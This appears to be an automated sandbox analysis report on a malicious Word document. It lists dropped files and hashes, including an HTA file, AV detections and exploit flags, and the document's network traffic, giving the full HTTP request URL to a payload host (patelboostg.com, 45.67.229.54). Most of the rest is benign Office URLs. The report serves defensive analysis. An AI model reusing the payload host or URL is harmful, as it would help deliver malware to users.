Windows Analysis Report enjoin,12.27.2021.doc

ID:	546767
Product:	CloudBasic
Start time:	12:35:14
Start date:	31.12.2021
Sample:	enjoin,12.27.2021.doc
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	7044bd240219ec2f83b01c532e2ce5ba
SHA1:	745cdbc4a826c5960eef3f4a9aa307ff94e4b7fb
SHA256:	ecd84fa8d836d5057149b2b3a048d75004ca1a1377fcf2f5e67374af3a1161a0
Filetype:	Microsoft Word document (32009/1) 54.23%

Name	Type	MD5	SHA1	SHA256
C:\Users\Public\gigabyteI7.jpg	HTML document, ASCII text	D3EB9513A9F2DD24ECDCC38FF33CA41B	37433C7BFDB800C601FCBA6F055BD01A87D26333	56591A120BD1C7D012554BEFD923D1AC7BF015A53A36C2808766F74FBFDCEB64
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators	EB7748E99C9B6BC3B318A96105271CFE	9465067296CF28FACC9327486ED59A2A8D4D7E51	7DBBC6C4044C0D674F296163FD09F5CE6E8C8108F6B484D5533EC665B2684517
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{810769F3-F410-47AD-894E-8C41E68C70EA}.tmp	Composite Document File V2 Document, Cannot read section info	391F336EB243CC44907089BF658F56FC	F9245089DEA0A39E3F41F8126816E358A85A6CC1	4E5BDF93CB40BB4DFF008EAF50F190706875F6C3FDD311BD7840BB9686C1DE10
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{4FE388FF-4D0E-4364-853B-3527191878F8}.tmp	data	5D4D94EE7E06BBB0AF9584119797B23A	DBB111419C704F116EFA8E72471DD83E86E49677	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\vaci3[1].htm	HTML document, ASCII text	D3EB9513A9F2DD24ECDCC38FF33CA41B	37433C7BFDB800C601FCBA6F055BD01A87D26333	56591A120BD1C7D012554BEFD923D1AC7BF015A53A36C2808766F74FBFDCEB64
C:\Users\user\AppData\Local\Temp\~DF56F5ACF9E8D44727.TMP	data	BF619EAC0CDF3F68D496EA9344137E8B	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Documents.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 16:19:49 2019, mtime=Fri Dec 31 19:36:12 2021, atime=Fri Dec 31 19:36:12 2021, length=8192, window=hide	7755607BD4468E87311144EF33A3ED19	42B9047214B481183279473F40B70EC63869CDF0	9524A4F258D84AE5ACD69E543E0BF113D2E2D2289CB5FDEC5E1C104671EE25BC
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\enjoin,12.27.2021.doc.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Sep 23 14:11:36 2021, mtime=Fri Dec 31 19:36:10 2021, atime=Fri Dec 31 19:36:06 2021, length=80896, window=hide	848B3C4A8D5EDFE45B53EB2B19C32F02	341A23ADBE94181FB7A1C146985AA753ACB10447	D2A414AF22C2B77087F5AD3177B1B6C13A66FA75E223108F2DFDC13A249EA555
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\i7Gigabyte.hta.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Dec 31 19:36:12 2021, mtime=Fri Dec 31 19:36:13 2021, atime=Fri Dec 31 19:36:13 2021, length=4060, window=hide	AF5A4F7237CB68DE9275C7646232EAB0	951696FF2C22226FBD547E1B19592F43CCB40745	5F7B1B882EC436DAEA81DC861E8DC7B2878A9DBCA96F257446ED21E055485C51
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat	ASCII text, with CRLF line terminators	DFC4C8992EB0521E8CA50AB2756D6B74	2CD55BAE0C8A4B5BCA655EC5D11C0022A04E0259	96C0D71CABDA6D1E10AB000DFA1A8C2746A3E3695728B3547EBBE9E5E4BA3A11
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm	data	26BC5C86C4C571FA2A0861C50746628C	960039851A82AEA474AF6747976E0F2DD538A533	2F288BB839CD5A3965EBAFB0D796C9D0AC53D68F08BF82A72E049E36CA97C094
C:\Users\user\Desktop\~$join,12.27.2021.doc	data	26BC5C86C4C571FA2A0861C50746628C	960039851A82AEA474AF6747976E0F2DD538A533	2F288BB839CD5A3965EBAFB0D796C9D0AC53D68F08BF82A72E049E36CA97C094
C:\Users\user\Documents\i7Gigabyte.hta (copy)	HTML document, ASCII text, with very long lines, with CRLF line terminators	FBDB7848F1D9945428C0101B75811195	FE31E65196E0844CD5858F893D44428AECE6A2B4	AEC91C78C4DC06C5BCEA7B5020C38B003FC120153D51A3ADB4F32D8000A6326A
C:\Users\user\Documents\~$Gigabyte.hta	data	26BC5C86C4C571FA2A0861C50746628C	960039851A82AEA474AF6747976E0F2DD538A533	2F288BB839CD5A3965EBAFB0D796C9D0AC53D68F08BF82A72E049E36CA97C094
C:\Users\user\Documents\~WRD0000.tmp	HTML document, ASCII text, with very long lines, with CRLF line terminators	FBDB7848F1D9945428C0101B75811195	FE31E65196E0844CD5858F893D44428AECE6A2B4	AEC91C78C4DC06C5BCEA7B5020C38B003FC120153D51A3ADB4F32D8000A6326A

AV Detection:

Multi AV Scanner detection for submitted file

Source: enjoin,12.27.2021.doc

ReversingLabs: Detection: 44%

Machine Learning detection for sample

Source: enjoin,12.27.2021.doc

Joe Sandbox ML: detected

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\explorer.exe

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: patelboostg.com

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.3:49742 -> 45.67.229.54:80

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.3:49742 -> 45.67.229.54:80

Networking:

Uses a known web browser user agent for HTTP communication

Source: global traffic

HTTP traffic detected: GET /frhe/L8dclCye7SQ5WTFva78FDxOjGBOF9iJro4DRgV/5inYIaSBt0KLfMB9kXwZBv6ZpTsny6/qAhIQjrAaLKJeTLQnbCarASpMADNe9u19Kylnkoreo7/SjqMh4eEx0Hx9b4h5e2fMcQgeIbFT/kKeSzfUaenwSFB/ISkVIHedx0p/49280/SruwcI68Yb5pVaVqfvyOHztDsbEuhGxtlV6bpgPIFvGFQ277/7FkN9pAcaWDfFlGNBeuaqGed8iDibaWexT/GyAAzLRbFAU1XErrU1F/vaci3?page=V8BBaQuem65&page=XYvyd0Dcrg6fJYLGHRVWp7s1tv&page=dvZwXcjcYCjBX8tPaALshiDAx85PEq&sid=10tOgWzOZj9xyAidNJAz3d9Ob0 HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: patelboostg.comConnection: Keep-Alive

URLs found in memory or binary data

Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: mshta.exe, 0000000C.00000002.311458999.0000000002A6F000.00000004.00000001.sdmp, mshta.exe, 0000000C.00000002.311376941.0000000002A31000.00000004.00000001.sdmp, mshta.exe, 0000000C.00000002.311543446.0000000002A9F000.00000004.00000001.sdmp, mshta.exe, 0000000C.00000003.307306857.0000000002A8D000.00000004.00000001.sdmp, mshta.exe, 0000000C.00000003.307399396.0000000002A2F000.00000004.00000001.sdmp	String found in binary or memory: http://patelboostg.com/frhe/L8dclCye7SQ5WTFva78FDxOjGBOF9iJro4DRgV/5inYIaSBt0KLfMB9kXwZBv6ZpTsny6/qA
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.aadrm.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.aadrm.com/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.cortana.ai
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.office.net
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.onedrive.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://augloop.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://cdn.entity.
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://clients.config.office.net/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://config.edge.skype.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://cortana.ai
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://cortana.ai/api
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://cr.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://dev.cortana.ai
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://devnull.onenote.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://directory.services.
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://graph.windows.net
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://graph.windows.net/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://invites.office.com/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://lifecycle.office.com
Source: mshta.exe, 0000000C.00000003.307558215.000000000A3E3000.00000004.00000001.sdmp, mshta.exe, 0000000C.00000002.315772677.000000000A3E3000.00000004.00000001.sdmp, mshta.exe, 0000000C.00000003.308718506.000000000A3E3000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://login.windows.local
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://management.azure.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://management.azure.com/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://messaging.office.com/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://ncus.contentsync.
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://officeapps.live.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://onedrive.live.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://osi.office.net
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://outlook.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://outlook.office.com/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://outlook.office365.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://outlook.office365.com/
